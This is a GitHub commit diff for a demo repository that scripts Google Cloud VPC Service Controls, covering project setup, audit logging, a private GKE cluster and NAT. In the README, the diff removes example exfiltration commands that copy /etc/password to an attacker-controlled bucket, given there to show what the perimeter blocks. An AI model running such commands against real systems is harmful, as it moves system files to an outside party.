Skip to content
This repository has been archived by the owner on Apr 9, 2024. It is now read-only.

Commit

Permalink
add logging_block.yaml
Browse files Browse the repository at this point in the history
  • Loading branch information
Kesten Broughton committed Apr 19, 2019
1 parent 65eefd2 commit 2e62879
Show file tree
Hide file tree
Showing 5 changed files with 151 additions and 85 deletions.
30 changes: 19 additions & 11 deletions .env-sample
Original file line number Diff line number Diff line change
@@ -1,3 +1,6 @@
# Set the whitelist for the bastion VM and Kubernetes API
SOURCE_RANGES_IP_WHITELIST=1.1.1.1/32

BILLING_ACCOUNT=
FOLDER_RAND=
REGION=us-central1
Expand All @@ -9,13 +12,16 @@ ZONE=us-central1-a
########################################
# ORGANIZATION and FOLDER VARIABLES
########################################
SERVICE_PERIMETER_SERVICE_ACCOUNT=service-perimeter-sa

# Reset the following two to nothing to create new resources
ORGANIZATION_ID=
FOLDER_NUMBER=
POLICY_ID=

SERVICE_PERIMETER_SERVICE_ACCOUNT=service-perimeter-sa
FOLDER_NAME=stage-x-$FOLDER_RAND
FOLDER_ID=stage-x-$FOLDER_RAND
FOLDER_NUMBER=
POLICY_TITLE=project_only_corporate_owned_services_$FOLDER_RAND
POLICY_ID=
SCOPES=https://www.googleapis.com/auth/service.management.readonly,https://www.googleapis.com/auth/logging.write,https://www.googleapis.com/auth/monitoring.write,https://www.googleapis.com/auth/trace.append,https://www.googleapis.com/auth/devstorage.full_control
BIGQUERY_SHARED_DATASET=all-logs-sink-$FOLDER_RAND

Expand All @@ -30,25 +36,24 @@ ENVIRON=stage
SERVICES=storage.googleapis.com,bigquery.googleapis.com,pubsub.googleapis.com

# Reset the following two to nothing to create new resources
PROJECT_NUMBER=
RAND=
PROJECT_NUMBER=

# Things that can probably stay the same
PROJECT_NAME=vpc-service-control-$RAND
PROJECT_ID=${PROJECT_NAME}
PROJECT_NAME=vpc-service-control
PROJECT_ID=${PROJECT_NAME}-$RAND
# There are tight restrictions on perimeter name
PERIMETER_NAME=tenantperimeter$RAND
PERIMETER_TITLE=tenant_only_uses_corporate_owned_gcp_services_$RAND
PROJECT_LABELS=owner=$OWNER,env=$ENVIRON,sec_level=$SEC_LEVEL
VPC_NAME=service-controls-$RAND
SERVICE_ACCOUNT=vm_service_account_$RAND
SERVICE_ACCOUNT_DESCRIPTION="service account for vm"
ZONE_NAME=${PROJECT_NAME}-restricted-service-access-zone
ZONE_NAME=${PROJECT_ID}-restricted-service-access-zone
ZONE_DESCRIPTION="DNS Zone for private gcp services access"
ROUTE_NAME=restricted-services-route
PROJECT_BRIDGE_NAME=tenant-$PROJECT_ID-to-shared-project-bridge-$FOLDER_RAND
BUCKET=test-tenant-bucket-created-by-bastion-$RAND
SOURCE_RANGES_IP_WHITELIST=

########################################
# SHARED PROJECT VARIABLES
Expand All @@ -68,16 +73,19 @@ SHARED_PROJECT_NUMBER=
# Things that can probably stay the same
SHARED_SCOPES=$SCOPES
SHARED_PROJECT_LABELS=owner=$OWNER,env=$ENVIRON,sec_level=$SEC_LEVEL
SHARED_PROJECT_NAME=shared-gcp-services-$SHARED_RAND
SHARED_PROJECT_ID=${SHARED_PROJECT_NAME}
SHARED_PROJECT_NAME=shared-gcp-services
SHARED_PROJECT_ID=${SHARED_PROJECT_NAME}-$SHARED_RAND
SHARED_PERIMETER_NAME=sharedperimeter$SHARED_RAND
SHARED_PERIMETER_TITLE=shared_project_only_uses_corporate_owned_gcp_services_$SHARED_RAND
SHARED_SERVICES=storage.googleapis.com,bigquery.googleapis.com,pubsub.googleapis.com
SHARED_VPC_NAME=shared-gcp-services-vpc
SHARED_ZONE_NAME=${SHARED_PROJECT_NAME}-restricted-service-access-zone
SHARED_ZONE_NAME=${SHARED_PROJECT_ID}-restricted-service-access-zone
SHARED_ZONE_DESCRIPTION="DNS Zone for private gcp services access of shared project"
SHARED_BUCKET=test-shared-bucket-created-by-bastion-$SHARED_RAND
# If you have different IP whitelisting requirements for tenant vs shared VMs, add them here
SHARED_SOURCE_RANGES_IP_WHITELIST=${SOURCE_RANGES_IP_WHITELIST}
# Name length limits exist
SHARED_FUNCTION_CONNECTOR_NAME=function-vpc-connector
TENANT_BUCKET_IN_SHARED_PROJECT=tenant-$PROJECT_ID
GLOBAL_STACKDRIVER_LOGS_BUCKET=all-logs-sink-$SHARED_RAND
# BUCKET_PEMRISSIONS_FUNCTION=bucket-permissions
49 changes: 13 additions & 36 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -23,33 +23,12 @@ You must have a GCP Organization. Free accounts come with Projects only.
If you do not have one, create one according to [Creating and Managing Organizations](https://cloud.google.com/resource-manager/docs/creating-managing-organization).
We recommend the `G-Suite` path as it worked more smoothly than the `Cloud Identity`.

Beware that many services are currently incompatible with VPC Service Controls!
If your project uses these [listed services](https://cloud.google.com/vpc-service-controls/docs/supported-products) you
are in luck. Otherwise you may need to check back later, use separate projects for unsupported services or create access-levels.

## Tests
Let's start with what we are trying to prove. Our scripts support a multi-tenant scenario where a tenant can write to buckets in their own project and
a specific bucket in a project shared amongst all tenants.

The following approved bucket activities should succeed assuming we have ssh'd into a vm.
* Create a bucket in the tenant project
* Upload data to the tenant bucket
* Upload data to the tenant's bucket in the shared project
```
vm-in-tenant1-project> gsutil mb gs://tenant1-project-bucket
vm-in-tenant1-project> gsutil cp localfile.txt gs://tenant1-project-bucket
vm-in-tenant1-project> gsutil cp localfile.txt gs://tenant1-shared-project-bucket --project $SHARED_PROJECT_ID --region $REGION
```
## Quickstart

The following malicious exfiltration and tampering activities should fail
* Upload malicious data to another tenant's bucket in the shared project
* Exfiltrate data to a victim tenant bucket in the shared project
```
vm-in-tenant1-project> gsutil cp /etc/password gs://attacker-controlled-project-bucket
vm-in-tenant1-project> gsutil cp /etc/password gs://tenat2-shared-project-bucket
```
Modify `.env` as needed after copying it as per the code block below. It will be ignored by git.
The only required variable is replacing this default whitelisted IP with your vpn or home router IP.

## Quickstart
* SOURCE_RANGES_IP_WHITELIST=1.1.1.1/32

```
git clone https://github.com/praetorian-code/vpc-service-controls.git
Expand All @@ -58,7 +37,6 @@ cp .env-sample .env
./create_service_control_project.sh
```

Modify `.env` as needed. It will be ignored by git.

## Troubleshooting

Expand All @@ -71,22 +49,21 @@ source .env
<paste and run the failing command>
```

## A more complete multi-tenant script.
The script `create_service_control_project.sh` demonstrates the VPC Service Controls for educational purposes.
A more complete version with some basic security services like configured Logging and Alerts for the malicious activity
is available in `create_service_control_project_full.sh` (coming soon).


# Design
## Design

Why bash scripts? We thought it is most instructive to run commands in an interactive way by pasting individual `gcloud` commands.

Ansible was considered, but it doesn't have support for many of the project/organization commands so it would be a lot of shell commands.

We hope to add Terraform modules, Deployment Manager templates and an Ansible playbooks for running the tests in time. Contributions welcome!

## Terraform
### Terraform

https://www.terraform.io/docs/providers/google/r/dns_managed_zone.html
roles/dns.admin

# https://www.terraform.io/docs/providers/google/r/dns_managed_zone.html
# roles/dns.admin
### Ansible
https://docs.ansible.com/ansible/latest/modules/list_of_cloud_modules.html

### Deployment Manager
https://cloud.google.com/deployment-manager/docs/best-practices/
111 changes: 73 additions & 38 deletions create_service_control_project.sh
Original file line number Diff line number Diff line change
Expand Up @@ -37,6 +37,8 @@ function set_var(){
if [ x$1 == x ]; then
PROJECT_NAME=$1
set_var PROJECT_NAME $PROJECT_NAME
set_var RAND ""
set_var SHARED_RAND ""
fi

source .env
Expand Down Expand Up @@ -109,22 +111,22 @@ fi
# source again to get RAND and SHARED_RAND templating
source .env

if [ x${BILLING_ACCOUNT}x == xx]; then
if [ x${BILLING_ACCOUNT}x == xx ]; then
BILLING_ACCOUNT=`gcloud alpha billing accounts list | tail -n +2 | awk '{print $1}'`
set_var BILLING_ACCOUNT $BILLING_ACCOUNT
fi

if [ x${PROJECT_NUMBER}x == xx ]; then
echo "CREATE THE $PROJECT_NAME PROJECT under folder number $FOLDER_NUMBER"
projects_json=`gcloud projects create $PROJECT_NAME --folder $FOLDER_NUMBER --labels $PROJECT_LABELS --format json`
projects_json=`gcloud projects create $PROJECT_ID --folder $FOLDER_NUMBER --labels $PROJECT_LABELS --format json`
PROJECT_NUMBER=`echo $projects_json | jq '.projectNunber' | sed 's/\"//g'`
set_var PROJECT_NUMBER $PROJECT_NUMBER
gcloud alpha billing projects link $PROJECT_ID --billing-account $BILLING_ACCOUNT
fi

if [ x${SHARED_PROJECT_NUMBER}x == xx ]; then
echo "CREATE THE $SHARED_PROJECT_NAME Shared Project under folder number $FOLDER_NUMBER"
projects_json=`gcloud projects create $SHARED_PROJECT_NAME --folder $FOLDER_NUMBER --labels $SHARED_PROJECT_LABELS --format json`
projects_json=`gcloud projects create $SHARED_PROJECT_ID --folder $FOLDER_NUMBER --labels $SHARED_PROJECT_LABELS --format json`
SHARED_PROJECT_NUMBER=`echo $projects_json | jq '.projectNumber' | sed 's/\"//g'`
if [ ${SHARED_PROJECT_NUMBER} != null ]; then
set_var SHARED_PROJECT_NUMBER $SHARED_PROJECT_NUMBER
Expand All @@ -144,7 +146,7 @@ else
--description [DESCRIPTION] $SHARED_PROJECT_ID:[DATASET]
fi

stackdriver_bucket=`gsutil ls -p $SHARED_PROJECT_ID -l $REGION | grep $STACKDRIVER_BUCKET || echo ""`
stackdriver_bucket=`gsutil ls -p $SHARED_PROJECT_ID gs:// | grep $GLOBAL_STACKDRIVER_LOGS_BUCKET || echo ""`
if [ x${stackdriver_bucket}x == xx ]; then
echo "Create a Storage Bucket for Stackdriver Logging for all projects in shared"
gsutil mb -p $SHARED_PROJECT_ID -l $REGION gs://$GLOBAL_STACKDRIVER_LOGS_BUCKET
Expand All @@ -153,40 +155,38 @@ fi
echo "For each tenant project, we will create a bucket for data and grant permissions to logging in the shared project"
echo "Soon we will create a Cloud Function to handle authorizing a new tenant to its buckets in the shared project"

# Cloud Functions and AppEngine are currently not supported on projects with VPC Service Controls
# However, these services running in other Projects can connect to a VPC Service Control Project
# using the following:
# gcloud services enable vpcaccess.googleapis.com --project $SHARED_PROJECT_ID

# gcloud beta compute networks vpc-access connectors create $SHARED_FUNCTION_CONNECTOR_NAME \
# --network $SHARED_VPC_NAME \
# --region $REGION \
# --range 10.8.0.0/28

# These commands must run on the host with private access to Storage API.
function set_bucket_permissions {
gsutil mb -p $SHARED_PROJECT_ID -l $REGION gs://$TENANT_BUCKET_IN_SHARED_PROJECT
gsutil iam ch serviceAccount:1061633337459-compute@developer.gserviceaccount.com:roles/storage.objectCreator gs://$TENANT_BUCKET_IN_SHARED_PROJECT
gcloud iam service-accounts create ${BUCKET_PERMISSIONS_FUNCTION_SA}
gcloud projects add-iam-policy-binding $SHARED_PROJECT_ID --member "serviceAccount:${BUCKET_PERMISSIONS_FUNCTION_SA}@${SHARED_PROJECT_ID}.iam.gserviceaccount.com" --role "roles/storage.admin"

gcloud app create --project $SHARED_PROJECT_ID
gcloud access-context-manager levels create AllowAppEngine --title "allowAppEngine" --basic-level-spec conditions.yaml --policy=$POLICY_ID --project shared-gcp-services

# https://cloud.google.com/functions/docs/connecting-vpc
# gcloud beta functions deploy FUNCTION_NAME \
# --vpc-connector projects/PROJECT_ID/locations/REGION/connectors/CONNECTOR_NAME \
# FLAGS...
}

function enable_full_logging() {
PROJECT_ID = $1

read -r -d '' LOGGING_BLOCK <<- 'EOF'
auditConfigs:\n
- service: allServices\n
auditLogConfigs:\n
- logType: ADMIN_READ\n
- logType: DATA_READ\n
- logType: DATA_WRITE\n
EOF
echo -e "${LOGGING_BLOCK}" >> /tmp/iam-policy.json
PROJECT_ID=$1

# read -r -d '' LOGGING_BLOCK <<- 'EOF'
# auditConfigs:\n
# - service: allServices\n
# auditLogConfigs:\n
# - logType: ADMIN_READ\n
# - logType: DATA_READ\n
# - logType: DATA_WRITE\n
# EOF
# echo -e "${LOGGING_BLOCK}" >> /tmp/iam-policy.json
gcloud projects get-iam-policy $PROJECT_ID > /tmp/iam-policy.json
cat logging_block.yaml >> /tmp/iam-policy.json
gcloud projects set-iam-policy $PROJECT_ID /tmp/iam-policy.json
rm /tmp/iam-policy.json

}

Expand Down Expand Up @@ -232,8 +232,10 @@ function configure_project() {
gsutil mb -p $PROJECT_ID -l $REGION gs://$BUCKET

echo "create a log sink to bigquery in shared project"
gcloud beta logging sinks create $BIGQUERY_SHARED_DATASET \
bigquery.googleapis.com/projects/my-project/datasets/$BIGQUERY_SHARED_DATASET
echo "replace this with aggregated folder logging"
gcloud beta logging sinks create $BIGQUERY_SHARED_DATASET --quiet \
bigquery.googleapis.com/projects/my-project/datasets/$BIGQUERY_SHARED_DATASET \
--project $PROJECT_ID

echo "create a security perimeter for the tenant project"
echo "GOTCHA - perimeter name cannot have a dash '-'"
Expand Down Expand Up @@ -298,24 +300,27 @@ function configure_project() {
--scopes $SCOPES \
--metadata-from-file startup-script=/tmp/startup-script.sh

echo "Creating private GKE cluster"
echo "Instructions to access cluster via cloud shell at https://cloud.google.com/kubernetes-engine/docs/how-to/private-clusters"
gcloud beta container clusters create "cluster0" \
--zone "$ZONE_NAME" \
--zone "$ZONE" \
--no-enable-basic-auth \
--cluster-version "1.11.8-gke.6" \
--machine-type "n1-standard-1" \
--image-type "COS" \
--disk-type "pd-standard" \
--disk-size "100" \
--scopes "https://www.googleapis.com/auth/compute","https://www.googleapis.com/auth/devstorage.full_contro","https://www.googleapis.com/auth/logging.write","https://www.googleapis.com/auth/monitoring","https://www.googleapis.com/auth/servicecontrol","https://www.googleapis.com/auth/service.management.readonly","https://www.googleapis.com/auth/trace.append" \
--scopes "https://www.googleapis.com/auth/compute","https://www.googleapis.com/auth/devstorage.full_control","https://www.googleapis.com/auth/logging.write","https://www.googleapis.com/auth/monitoring","https://www.googleapis.com/auth/servicecontrol","https://www.googleapis.com/auth/service.management.readonly","https://www.googleapis.com/auth/trace.append" \
--preemptible \
--num-nodes "1" \
--enable-cloud-logging \
--enable-cloud-monitoring \
--enable-stackdriver-kubernetes \
--no-enable-ip-alias \
--network "${VPC_NAME}" \
--create-subnetwork kubesubnet \
--network "projects/$PROJECT_ID/global/networks/${VPC_NAME}" \
--create-subnetwork name="kubesubnet" \
--enable-autoscaling \
--min-nodes "1" \
--min-nodes "0" \
--max-nodes "3" \
--addons HorizontalPodAutoscaling,HttpLoadBalancing,KubernetesDashboard \
--enable-autoupgrade \
Expand All @@ -324,8 +329,22 @@ function configure_project() {
--master-authorized-networks $SOURCE_RANGES_IP_WHITELIST \
--enable-ip-alias \
--enable-private-nodes \
--master-ipv4-cidr 172.16.0.0/28

--master-ipv4-cidr 172.16.0.0/28 \
--metadata disable-legacy-endpoints=true \
--project $PROJECT_ID

gcloud compute routers create nat-router \
--network ${VPC_NAME} \
--region $REGION \
--project $PROJECT_ID

gcloud compute routers nats create nat-config \
--router-region us-central1 \
--router nat-router \
--nat-all-subnet-ip-ranges \
--auto-allocate-nat-external-ips \
--project $PROJECT_ID

if [ ${PROJECT_NUMBER} != ${SHARED_PROJECT_NUMBER} ]; then
echo "create bridge resources"
echo "bridge name cannot start with numbers."
Expand All @@ -352,17 +371,33 @@ echo >&2 '
'


# Sec210 validator
# Inventory
# Access troubleshooter, IAM recommender
# APN Partner early access
# The following functions are not implemented fully. Stubs for later.
function connect_app_engine() {
gcloud app create --project $SHARED_PROJECT_ID
gcloud access-context-manager levels create AllowAppEngine \
--title "allowAppEngine" \
--basic-level-spec conditions.yaml \
--policy=$POLICY_ID \
--project $SHARED_PROJECT_ID
}

function connect_cloud_function() {
gcloud iam service-accounts create ${BUCKET_PERMISSIONS_FUNCTION_SA}
gcloud projects add-iam-policy-binding $SHARED_PROJECT_ID \
--member "serviceAccount:${BUCKET_PERMISSIONS_FUNCTION_SA}@${SHARED_PROJECT_ID}.iam.gserviceaccount.com" \
--role "roles/storage.admin"
# https://cloud.google.com/functions/docs/connecting-vpc
gcloud beta functions deploy FUNCTION_NAME \
--vpc-connector projects/$PROJECT_ID/locations/REGION/connectors/$CONNECTOR_NAME
}

# Bit.ly/notebooks-best-practices
# Bit.ly/notebooks-ci
# Bit.ly/nova-extension

# AI Platform Notebooks

# Support GitLab https://medium.com/@bamnet/cloud-source-repositories-gitlab-2fdcf1a8e50c



6 changes: 6 additions & 0 deletions logging_block.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
auditConfigs:
- service: allServices
auditLogConfigs:
- logType: ADMIN_READ
- logType: DATA_READ
- logType: DATA_WRITE
Loading

0 comments on commit 2e62879

Please sign in to comment.